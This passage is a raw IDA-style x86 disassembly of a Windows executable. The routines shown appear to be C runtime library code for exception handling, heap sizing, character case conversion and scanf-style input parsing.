cmp dword ptr [edi+14h], 19930520h jnz short locret_41A8B4 cmp [ebp-24h], ebx jnz short locret_41A8B4 cmp [ebp-2Ch], ebx jz short locret_41A8B4 call sub_4163F2 push eax push edi call sub_41AAA3 pop ecx pop ecx locret_41A8B4: ; CODE XREF: sub_41A86F+1Cj ; sub_41A86F+22j ... retn sub_41A86F endp ; =============== S U B R O U T I N E ======================================= sub_41A8B5 proc near ; CODE XREF: sub_41A845+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41A8DC cmp dword ptr [eax+10h], 3 jnz short loc_41A8DC cmp dword ptr [eax+14h], 19930520h jnz short loc_41A8DC cmp dword ptr [eax+1Ch], 0 jnz short loc_41A8DC push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41A8DC: ; CODE XREF: sub_41A8B5+Cj ; sub_41A8B5+12j ... xor eax, eax retn sub_41A8B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8DF proc near ; CODE XREF: sub_41A72E+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421820 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41AA88 cmp byte ptr [eax+8], 0 jz loc_41AA88 mov eax, [ecx+8] test eax, eax jz loc_41AA88 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41A97C mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_41DF46 pop ecx pop ecx test eax, eax jz loc_41AA7F push 1 push edi call near ptr loc_41DF5D+5 pop ecx pop ecx test eax, eax jz loc_41AA7F mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41A96D: ; CODE XREF: sub_41A8DF+F5j push eax call sub_41AB0A pop ecx pop ecx mov [edi], eax jmp loc_41AA84 ; --------------------------------------------------------------------------- loc_41A97C: ; CODE XREF: sub_41A8DF+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41A9D6 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_41DF46 pop ecx pop ecx test eax, eax jz loc_41AA7F push 1 push edi call near ptr loc_41DF5D+5 pop ecx pop ecx test eax, eax jz loc_41AA7F push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_416470 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41AA84 mov eax, [edi] test eax, eax jz loc_41AA84 add esi, 8 push esi jmp short loc_41A96D ; --------------------------------------------------------------------------- loc_41A9D6: ; CODE XREF: sub_41A8DF+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41AA1E call sub_41DF46 pop ecx pop ecx test eax, eax jz loc_41AA7F push 1 push edi call near ptr loc_41DF5D+5 pop ecx pop ecx test eax, eax jz short loc_41AA7F push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41AB0A pop ecx pop ecx push eax push edi call sub_416470 add esp, 0Ch jmp short loc_41AA84 ; --------------------------------------------------------------------------- loc_41AA1E: ; CODE XREF: sub_41A8DF+103j call sub_41DF46 pop ecx pop ecx test eax, eax jz short loc_41AA7F push 1 push edi call near ptr loc_41DF5D+5 pop ecx pop ecx test eax, eax jz short loc_41AA7F push dword ptr [esi+18h] call sub_41DF7E pop ecx test eax, eax jz short loc_41AA7F test byte ptr [esi], 4 jz short loc_41AA65 push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41AB0A pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_41609D jmp short loc_41AA84 ; --------------------------------------------------------------------------- loc_41AA65: ; CODE XREF: sub_41A8DF+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41AB0A pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_416096 jmp short loc_41AA84 ; --------------------------------------------------------------------------- loc_41AA7F: ; CODE XREF: sub_41A8DF+6Aj ; sub_41A8DF+7Cj ... call sub_41ABD2 loc_41AA84: ; CODE XREF: sub_41A8DF+98j ; sub_41A8DF+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41AA88: ; CODE XREF: sub_41A8DF+2Ej ; sub_41A8DF+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41A8DF endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41AB7C ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AAA3 proc near ; CODE XREF: sub_41A3CE+170p ; sub_41A86F+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421830 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41AAEA mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41AAEA and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_416096 or [ebp+var_4], 0FFFFFFFFh loc_41AAEA: ; CODE XREF: sub_41AAA3+2Aj ; sub_41AAA3+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41AAA3 endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41AB7C ; =============== S U B R O U T I N E ======================================= sub_41AB0A proc near ; CODE XREF: sub_41A8DF+8Fp ; sub_41A8DF+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41AB2B mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41AB2B: ; CODE XREF: sub_41AB0A+12j pop esi retn sub_41AB0A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB30 proc near ; CODE XREF: sub_416129+40p ; sub_41A67A+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_416415 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41AB6F mov ecx, 2 loc_41AB6F: ; CODE XREF: sub_41AB30+38j push ecx call sub_416415 pop ebp pop ecx pop ebx leave retn 0Ch sub_41AB30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB7C proc near ; CODE XREF: sub_41A3CE:loc_41A570j ; sub_41A718:loc_41A729j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041DF96 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421840 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:dword_4694F8 test eax, eax jz short loc_41ABC4 mov [ebp+var_4], 1 call eax jmp short loc_41ABC0 ; --------------------------------------------------------------------------- loc_41ABB9: ; DATA XREF: seg001:00421850o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41ABBD: ; DATA XREF: seg001:00421854o mov esp, [ebp+var_18] loc_41ABC0: ; CODE XREF: sub_41AB7C+3Bj and [ebp+var_4], 0 loc_41ABC4: ; CODE XREF: sub_41AB7C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41ABCD: ; DATA XREF: seg001:00421848o jmp loc_41DF96 sub_41AB7C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABD2 proc near ; CODE XREF: sub_4162CB+23p ; sub_4162CB:loc_416336p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421858 push offset sub_41CDE8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, ds:off_4380B4 test eax, eax jz short loc_41AC1A mov [ebp+var_4], 1 call eax ; sub_41AB7C jmp short loc_41AC16 ; --------------------------------------------------------------------------- loc_41AC0F: ; DATA XREF: seg001:00421868o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AC13: ; DATA XREF: seg001:0042186Co mov esp, [ebp+var_18] loc_41AC16: ; CODE XREF: sub_41ABD2+3Bj and [ebp+var_4], 0 loc_41AC1A: ; CODE XREF: sub_41ABD2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41AC23: ; DATA XREF: seg001:00421860o jmp sub_41AB7C sub_41ABD2 endp ; =============== S U B R O U T I N E ======================================= sub_41AC28 proc near ; CODE XREF: sub_4167B3+7p ; sub_4167B3+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_418ADD test eax, eax pop ecx jz short loc_41AC40 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_41AC40: ; CODE XREF: sub_41AC28+Ej push esi push 0 push ds:dword_46AAE0 call ds:dword_421188 ; RtlSizeHeap pop esi retn sub_41AC28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC51 proc near ; CODE XREF: sub_416861+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_469508, 0 push ebx jnz short loc_41AC7C mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41AD1A cmp eax, 7Ah jg loc_41AD1A sub eax, 20h jmp loc_41AD1A ; --------------------------------------------------------------------------- loc_41AC7C: ; CODE XREF: sub_41AC51+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41ACAF cmp ds:dword_437F5C, 1 jle short loc_41AC9C push 2 push ebx call sub_418536 pop ecx pop ecx jmp short loc_41ACA7 ; --------------------------------------------------------------------------- loc_41AC9C: ; CODE XREF: sub_41AC51+3Dj mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, 2 loc_41ACA7: ; CODE XREF: sub_41AC51+49j test eax, eax jnz short loc_41ACAF loc_41ACAB: ; CODE XREF: sub_41AC51+AFj mov eax, ebx jmp short loc_41AD1A ; --------------------------------------------------------------------------- loc_41ACAF: ; CODE XREF: sub_41AC51+34j ; sub_41AC51+58j mov edx, ds:off_437D50 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41ACD2 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41ACDB ; --------------------------------------------------------------------------- loc_41ACD2: ; CODE XREF: sub_41AC51+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41ACDB: ; CODE XREF: sub_41AC51+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push ds:dword_469508 call loc_41BD51 add esp, 20h test eax, eax jz short loc_41ACAB cmp eax, 1 jnz short loc_41AD0D movzx eax, [ebp+var_4] jmp short loc_41AD1A ; --------------------------------------------------------------------------- loc_41AD0D: ; CODE XREF: sub_41AC51+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41AD1A: ; CODE XREF: sub_41AC51+14j ; sub_41AC51+1Dj ... pop ebx leave retn sub_41AC51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD1D proc near ; CODE XREF: sub_416A80+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41B723 mov edi, [ebp+arg_0] jmp short loc_41AD4C ; --------------------------------------------------------------------------- loc_41AD47: ; CODE XREF: sub_41AD1D+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41AD4C: ; CODE XREF: sub_41AD1D+28j cmp ds:dword_437F5C, 1 jle short loc_41AD64 movzx eax, al push 8 push eax call sub_418536 pop ecx pop ecx jmp short loc_41AD73 ; --------------------------------------------------------------------------- loc_41AD64: ; CODE XREF: sub_41AD1D+36j mov ecx, ds:off_437D50 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41AD73: ; CODE XREF: sub_41AD1D+45j cmp eax, ebx jz short loc_41ADAD dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41B7AA pop ecx pop ecx push eax call sub_41B793 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E075 add esp, 0Ch loc_41AD9B: ; CODE XREF: sub_41AD1D+8Ej test eax, eax jz short loc_41ADAD movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E075 pop ecx jmp short loc_41AD9B ; --------------------------------------------------------------------------- loc_41ADAD: ; CODE XREF: sub_41AD1D+58j ; sub_41AD1D+80j cmp byte ptr [esi], 25h jnz loc_41B68F and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41ADE4: ; CODE XREF: sub_41AD1D+172j movzx ebx, byte ptr [esi+1] inc esi cmp ds:dword_437F5C, 1 jle short loc_41AE01 movzx eax, bl push 4 push eax call sub_418536 pop ecx pop ecx jmp short loc_41AE10 ; --------------------------------------------------------------------------- loc_41AE01: ; CODE XREF: sub_41AD1D+D3j mov ecx, ds:off_437D50 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41AE10: ; CODE XREF: sub_41AD1D+E2j test eax, eax jz short loc_41AE26 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41AE8B ; --------------------------------------------------------------------------- loc_41AE26: ; CODE XREF: sub_41AD1D+F5j cmp ebx, 4Eh jg short loc_41AE69 jz short loc_41AE8B cmp ebx, 2Ah jz short loc_41AE64 cmp ebx, 46h jz short loc_41AE8B cmp ebx, 49h jz short loc_41AE46 cmp ebx, 4Ch jnz short loc_41AE78 inc [ebp+var_D] jmp short loc_41AE8B ; --------------------------------------------------------------------------- loc_41AE46: ; CODE XREF: sub_41AD1D+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41AE78 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41AE78 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41AE8B ; --------------------------------------------------------------------------- loc_41AE64: ; CODE XREF: sub_41AD1D+113j inc [ebp+var_E] jmp short loc_41AE8B ; --------------------------------------------------------------------------- loc_41AE69: ; CODE XREF: sub_41AD1D+10Cj cmp ebx, 68h jz short loc_41AE85 cmp ebx, 6Ch jz short loc_41AE7D cmp ebx, 77h jz short loc_41AE80 loc_41AE78: ; CODE XREF: sub_41AD1D+122j ; sub_41AD1D+12Dj ... inc [ebp+var_F] jmp short loc_41AE8B ; --------------------------------------------------------------------------- loc_41AE7D: ; CODE XREF: sub_41AD1D+154j inc [ebp+var_D] loc_41AE80: ; CODE XREF: sub_41AD1D+159j inc [ebp+var_5] jmp short loc_41AE8B ; --------------------------------------------------------------------------- loc_41AE85: ; CODE XREF: sub_41AD1D+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41AE8B: ; CODE XREF: sub_41AD1D+107j ; sub_41AD1D+10Ej ... cmp [ebp+var_F], 0 jz loc_41ADE4 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41AEB0 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41AEB0: ; CODE XREF: sub_41AD1D+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41AECE mov al, [esi] cmp al, 53h jz short loc_41AECA cmp al, 43h jz short loc_41AECA or [ebp+var_5], 0FFh jmp short loc_41AECE ; --------------------------------------------------------------------------- loc_41AECA: ; CODE XREF: sub_41AD1D+1A1j ; sub_41AD1D+1A5j mov [ebp+var_5], 1 loc_41AECE: ; CODE XREF: sub_41AD1D+19Bj ; sub_41AD1D+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41AF07 cmp esi, 63h jz short loc_41AEF8 cmp esi, 7Bh jz short loc_41AEF8 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41B7AA pop ecx jmp short loc_41AF03 ; --------------------------------------------------------------------------- loc_41AEF8: ; CODE XREF: sub_41AD1D+1C5j ; sub_41AD1D+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41B779 loc_41AF03: ; CODE XREF: sub_41AD1D+1D9j pop ecx mov [ebp+var_14], eax loc_41AF07: ; CODE XREF: sub_41AD1D+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41AF17 cmp [ebp+var_C], eax jz loc_41B6F3 loc_41AF17: ; CODE XREF: sub_41AD1D+1EFj cmp esi, 6Fh jg loc_41B17E jz loc_41B430 cmp esi, 63h jz loc_41B15B cmp esi, 64h jz loc_41B430 jle loc_41B1A8 cmp esi, 67h jle short loc_41AF7B cmp esi, 69h jz short loc_41AF63 cmp esi, 6Eh jnz loc_41B1A8 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41B65E jmp loc_41B684 ; --------------------------------------------------------------------------- loc_41AF63: ; CODE XREF: sub_41AD1D+229j push 64h pop esi loc_41AF66: ; CODE XREF: sub_41AD1D+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41B1F0 mov [ebp+var_17], 1 jmp loc_41B1F5 ; --------------------------------------------------------------------------- loc_41AF7B: ; CODE XREF: sub_41AD1D+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41AF97 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41AF9C ; --------------------------------------------------------------------------- loc_41AF97: ; CODE XREF: sub_41AD1D+26Aj cmp ebx, 2Bh jnz short loc_41AFB3 loc_41AF9C: ; CODE XREF: sub_41AD1D+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41B779 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41AFB6 ; --------------------------------------------------------------------------- loc_41AFB3: ; CODE XREF: sub_41AD1D+27Dj mov edi, [ebp+arg_0] loc_41AFB6: ; CODE XREF: sub_41AD1D+294j cmp [ebp+var_20], 0 jz short loc_41AFC5 cmp [ebp+var_C], 15Dh jle short loc_41AFCC loc_41AFC5: ; CODE XREF: sub_41AD1D+29Dj mov [ebp+var_C], 15Dh loc_41AFCC: ; CODE XREF: sub_41AD1D+2A6j ; sub_41AD1D+2F2j cmp ds:dword_437F5C, 1 jle short loc_41AFE1 push 4 push ebx call sub_418536 pop ecx pop ecx jmp short loc_41AFEC ; --------------------------------------------------------------------------- loc_41AFE1: ; CODE XREF: sub_41AD1D+2B6j mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, 4 loc_41AFEC: ; CODE XREF: sub_41AD1D+2C2j test eax, eax jz short loc_41B011 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B011 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41B779 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41AFCC ; --------------------------------------------------------------------------- loc_41B011: ; CODE XREF: sub_41AD1D+2D1j ; sub_41AD1D+2DBj cmp ds:byte_437F60, bl jnz short loc_41B07F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B07F inc [ebp+var_4] push edi call sub_41B779 mov ebx, eax mov al, ds:byte_437F60 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41B03A: ; CODE XREF: sub_41AD1D+360j cmp ds:dword_437F5C, 1 jle short loc_41B04F push 4 push ebx call sub_418536 pop ecx pop ecx jmp short loc_41B05A ; --------------------------------------------------------------------------- loc_41B04F: ; CODE XREF: sub_41AD1D+324j mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, 4 loc_41B05A: ; CODE XREF: sub_41AD1D+330j test eax, eax jz short loc_41B07F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B07F inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41B779 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B03A ; --------------------------------------------------------------------------- loc_41B07F: ; CODE XREF: sub_41AD1D+2FAj ; sub_41AD1D+304j ... cmp [ebp+var_1C], 0 jz loc_41B117 cmp ebx, 65h jz short loc_41B097 cmp ebx, 45h jnz loc_41B117 loc_41B097: ; CODE XREF: sub_41AD1D+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B117 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41B779 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41B0BE mov [esi], al inc esi jmp short loc_41B0C3 ; --------------------------------------------------------------------------- loc_41B0BE: ; CODE XREF: sub_41AD1D+39Aj cmp ebx, 2Bh jnz short loc_41B0E1 loc_41B0C3: ; CODE XREF: sub_41AD1D+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41B0D2 and [ebp+var_C], eax jmp short loc_41B0E1 ; --------------------------------------------------------------------------- loc_41B0D2: ; CODE XREF: sub_41AD1D+3AEj ; sub_41AD1D+3F8j inc [ebp+var_4] push edi call sub_41B779 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B0E1: ; CODE XREF: sub_41AD1D+3A4j ; sub_41AD1D+3B3j cmp ds:dword_437F5C, 1 jle short loc_41B0F6 push 4 push ebx call sub_418536 pop ecx pop ecx jmp short loc_41B101 ; --------------------------------------------------------------------------- loc_41B0F6: ; CODE XREF: sub_41AD1D+3CBj mov eax, ds:off_437D50 mov al, [eax+ebx*2] and eax, 4 loc_41B101: ; CODE XREF: sub_41AD1D+3D7j test eax, eax jz short loc_41B117 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B117 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41B0D2 ; --------------------------------------------------------------------------- loc_41B117: ; CODE XREF: sub_41AD1D+366j ; sub_41AD1D+374j ... dec [ebp+var_4] push edi push ebx call sub_41B793 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41B723 cmp [ebp+var_E], 0 jnz loc_41B684 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call ds:off_438090 add esp, 0Ch jmp loc_41B684 ; --------------------------------------------------------------------------- loc_41B15B: ; CODE XREF: sub_41AD1D+20Cj cmp [ebp+var_20], eax jnz short loc_41B16A inc [ebp+var_C] mov [ebp+var_20], 1 loc_41B16A: ; CODE XREF: sub_41AD1D+441j cmp [ebp+var_5], 0 jle short loc_41B174 mov [ebp+var_16], 1 loc_41B174: ; CODE XREF: sub_41AD1D+451j mov edi, offset dword_4380C0 jmp loc_41B289 ; --------------------------------------------------------------------------- loc_41B17E: ; CODE XREF: sub_41AD1D+1FDj mov eax, esi sub eax, 70h jz loc_41B42C sub eax, 3 jz loc_41B27A dec eax dec eax jz loc_41B430 sub eax, 3 jz loc_41AF66 sub eax, 3 jz short loc_41B1CC loc_41B1A8: ; CODE XREF: sub_41AD1D+21Bj ; sub_41AD1D+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41B6F3 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41B684 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41B684 ; --------------------------------------------------------------------------- loc_41B1CC: ; CODE XREF: sub_41AD1D+489j cmp [ebp+var_5], 0 jle short loc_41B1D6 mov [ebp+var_16], 1 loc_41B1D6: ; CODE XREF: sub_41AD1D+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41B28D mov eax, edi lea edi, [eax+1] jmp loc_41B289 ; --------------------------------------------------------------------------- loc_41B1F0: ; CODE XREF: sub_41AD1D+24Fj cmp ebx, 2Bh jnz short loc_41B217 loc_41B1F5: ; CODE XREF: sub_41AD1D+259j dec [ebp+var_C] jnz short loc_41B206 cmp [ebp+var_20], 0 jz short loc_41B206 mov [ebp+var_F], 1 jmp short loc_41B217 ; --------------------------------------------------------------------------- loc_41B206: ; CODE XREF: sub_41AD1D+4DBj ; sub_41AD1D+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41B779 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B217: ; CODE XREF: sub_41AD1D+4D6j ; sub_41AD1D+4E7j cmp ebx, 30h jnz loc_41B465 push [ebp+arg_0] inc [ebp+var_4] call sub_41B779 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41B265 cmp bl, 58h jz short loc_41B265 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41B24F push 6Fh loc_41B249: ; CODE XREF: sub_41AD1D+55Bj pop esi jmp loc_41B465 ; --------------------------------------------------------------------------- loc_41B24F: ; CODE XREF: sub_41AD1D+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B793 pop ecx pop ecx push 30h pop ebx jmp loc_41B462 ; --------------------------------------------------------------------------- loc_41B265: ; CODE XREF: sub_41AD1D+517j ; sub_41AD1D+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41B779 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41B249 ; --------------------------------------------------------------------------- loc_41B27A: ; CODE XREF: sub_41AD1D+46Fj cmp [ebp+var_5], 0 jle short loc_41B284 mov [ebp+var_16], 1 loc_41B284: ; CODE XREF: sub_41AD1D+561j mov edi, offset dword_4380B8 loc_41B289: ; CODE XREF: sub_41AD1D+45Cj ; sub_41AD1D+4CEj or [ebp+var_18], 0FFh loc_41B28D: ; CODE XREF: sub_41AD1D+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_415550 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41B2B1 cmp byte ptr [edi], 5Dh jnz short loc_41B2B1 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41B2B4 ; --------------------------------------------------------------------------- loc_41B2B1: ; CODE XREF: sub_41AD1D+584j ; sub_41AD1D+589j mov dl, [ebp+var_35] loc_41B2B4: ; CODE XREF: sub_41AD1D+592j ; sub_41AD1D+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41B319 inc edi cmp al, 2Dh jnz short loc_41B300 test dl, dl jz short loc_41B300 mov cl, [edi] cmp cl, 5Dh jz short loc_41B300 inc edi cmp dl, cl jnb short loc_41B2D3 mov al, cl jmp short loc_41B2D7 ; --------------------------------------------------------------------------- loc_41B2D3: ; CODE XREF: sub_41AD1D+5B0j mov al, dl mov dl, cl loc_41B2D7: ; CODE XREF: sub_41AD1D+5B4j cmp dl, al ja short loc_41B2FC movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41B2E4: ; CODE XREF: sub_41AD1D+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41B2E4 